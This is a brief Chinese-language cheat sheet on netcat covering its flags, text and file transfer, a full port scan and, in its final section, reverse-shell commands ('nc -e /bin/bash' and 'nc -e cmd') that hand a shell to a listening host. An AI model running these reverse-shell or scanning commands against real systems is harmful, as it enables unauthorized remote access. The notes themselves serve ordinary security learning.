# nc(netcat)

# 支持协议

  1. TCP
  2. UDP

# 常用命令

nc	-l  ## 开启监听  nc -lvvp 9000
	-p	## 指定端口
	-e  ## 程序重定向
	-n  ## 以数字的形式表示 IP
	-v  ## 显示执行命令过程
	-z  ## 不进行交互,直接显示结果
	-u  ## 使用 UDP 协议进行传输
	-w  ## 设置超时时间

# 使用场景

# 传输文本信息 -- 电子取证

## a 设备
nc -lp 4444 > 1.txt
## b 设备
ls | nc -nv 192.168.0.1 4444
## 结果可以传输到另一台设备上的 1.txt 文件中

# 端口扫描

nc -nvz  192,168.0.1 0-65535 ## 数字 IP,显示信息,不交互,容易被防火墙拦截

# 传输文件

## <:发送
## >:接收
## >>:追加
发送:nc -nv 192.168.0.1 4444 < 1.txt
接收:nc -lvvp 4444 > log.txt

# 反向连接

nc -lvvp 4444 ## 开启监听
nc -e cmd 192.168.0.1 4444  		## windows
nc -e /bin/bash 192.168.0.1 4444 	## linux